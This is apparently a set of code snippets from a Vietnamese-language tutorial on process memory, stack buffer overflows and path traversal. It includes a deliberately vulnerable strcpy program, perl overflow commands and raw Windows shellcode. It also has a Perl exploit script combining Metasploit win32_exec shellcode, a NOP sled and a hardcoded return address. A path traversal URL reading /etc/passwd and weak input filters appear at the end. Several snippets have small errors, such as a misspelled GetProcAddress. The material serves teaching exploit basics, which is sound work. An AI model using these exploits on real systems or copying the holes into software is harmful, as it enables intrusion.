/* memory.c */ // this comment simply holds the program name
int index = 5; // giá trị này được lưu tại phân đoạn data bởi vì nó có giá trị khởi tạo.
char * str; // giá trị này được lưu tại phân đoạn bss vì nó không có giá trị khởi tạo ban đầu.
void funct1(int c){ // bracket starts function1 block
int i=c; // được lưu trong phân đoạn stack.
str = (char*) malloc (10 * sizeof (char)); // Dành 10 ký tự trong vùng nhớ Heap.
strncpy(str, "abcde", 5); //copies 5 characters "abcde" into str
} //end of function1
void main (){ //the required main function
funct1(1); //main calls function1 with an argument
} //end of the main function

int f(int a,int b,int c);
int main()
{
f(1,2,3);
return 0;
}
int f(int a,int b,int c)
{
int i;
char buf[3];
i=5;
buf[0]='A';
buf[1]='B';
buf[2]='C';
return (a+i);
}

#include <stdio.h>
void func2()
{
printf("Hello everybody !\n");
exit(1);
}
void func1()
{
int buf[1];
buf[2]=(int)func2;
}
void main()
{
func1();
}

Chi tiết về hàm WinExec
UINT WINAPI WinExec(
__in LPCSTR lpCmdLine,
__in UINT uCmdShow
);

#include <windows.h>
int main()
{
char fname[10]="calc";
WinExec(fname,1);
return 0;
}

#include <windows.h>
#include <stdio.h>
int main(int argc,char *argv[])
{
if (argc<3)
{
printf("Cu phap: %s <Ten dll> <Ten ham> \n",argv[0]);
printf("Vi du: %s kernel32.dll WinExec",argv[0]);
return 0;
}
HINSTANCE hDll;
hDll=LoadLibrary(argv[1]);
if (hDll!=0)
{
FARPROC fp;
fp=GetAddressProc(hDll,argv[2])
if (fp!=0)
printf("Dia chi cua ham %s la : 0x%x",argv[1],fp);
else
printf("Khong tim thay ham %s trong thu vien %s",argv[2],argv[1]);
}
}

void main()
{
__asm{
xor eax,eax
push eax
sub esp,4
mov [ebp-8],'c'
mov [ebp-7],'a'
mov [ebp-6],'l'
mov [ebp-5],'c'
push eax
lea eax,[ebp-8]
push eax
mov eax,0x7c86114d
call eax
mov eax,0x7c81caa2
call eax
}
}

unsigned char scode[] =
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x50\x8D\x45\xF8\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\xB8\xA2\xCA\x81\x7C\xFF\xD0\x5D\xC3";
int main(int argc, char *argv[])
{
int *ret;
ret=(int *)&ret+2;// Ghi đè địa chỉ trở về của hàm main
(*ret)=(int)scode;// Giá trị của con trỏ ret trỏ đến là giá trị của biến scode
return 0;
}

unsigned char scode[] =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0d"
"\x5a\x9f\x07\x83\xeb\xfc\xe2\xf4\xf1\xb2\xdb\x07\x0d\x5a\x14\x42"
"\x31\xd1\xe3\x02\x75\x5b\x70\x8c\x42\x42\x14\x58\x2d\x5b\x74\x4e"
"\x86\x6e\x14\x06\xe3\x6b\x5f\x9e\xa1\xde\x5f\x73\x0a\x9b\x55\x0a"
"\x0c\x98\x74\xf3\x36\x0e\xbb\x03\x78\xbf\x14\x58\x29\x5b\x74\x61"
"\x86\x56\xd4\x8c\x52\x46\x9e\xec\x86\x46\x14\x06\xe6\xd3\xc3\x23"
"\x09\x99\xae\xc7\x69\xd1\xdf\x37\x88\x9a\xe7\x0b\x86\x1a\x93\x8c"
"\x7d\x46\x32\x8c\x65\x52\x74\x0e\x86\xda\x2f\x07\x0d\x5a\x14\x6f"
"\x31\x05\xae\xf1\x6d\x0c\x16\xff\x8e\x9a\xe4\x57\x65\x24\x47\xe5"
"\x7e\x32\x07\xf9\x87\x54\xc8\xf8\xea\x39\xfe\x6b\x6e\x5a\x9f\x07";

//File vul.c
#include <stdio.h>
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}

perl -e "exec 'vul',’Mr’,('A'x400)" Chương trình sẽ không xuất hiện lỗi.
perl -e "exec 'vul',’Mr’,('A'x404)" Xuất hiện lỗi do ghi đè lên địa chỉ của EBP.
perl -e "exec 'vul',’Mr’,('A'x408)" Xuất hiện lỗi do ghi đè lên địa chỉ của EIP.

get_sp() { __asm mov eax, esp }
int main(){
printf("Stack pointer (ESP): 0x%x\n", get_sp());
}

# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub
#http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
"\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
"\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
"\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
"\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
"\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
"\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
"\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
"\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
"\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
"\xd3\x9d\x6d\xaf";
# Từ địa chỉ 0x12ff68-0x198(408 bytes)
my $return_address = "\x68\xFF\x12\x00";
my $nop_before = "\x90" x 24;
my $nop_after = "\x90" x 216;
my $payload = $nop_before.$shellcode.$nop_after.$return_address;
exec 'vul',$payload

http://seamoun.com/getUserProfile.jsp?page=main.html
 http://seamoun.com/index.php?file=help
 http://seamoun.com/main.cgi?home=index.htm

http://seamoun.com/getUserProfile.jsp?page=../../../etc/passwd

PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...

str_replace("../","",$_GET['help_file'])

eregi("[\\/]","{$_GET['help_file']}")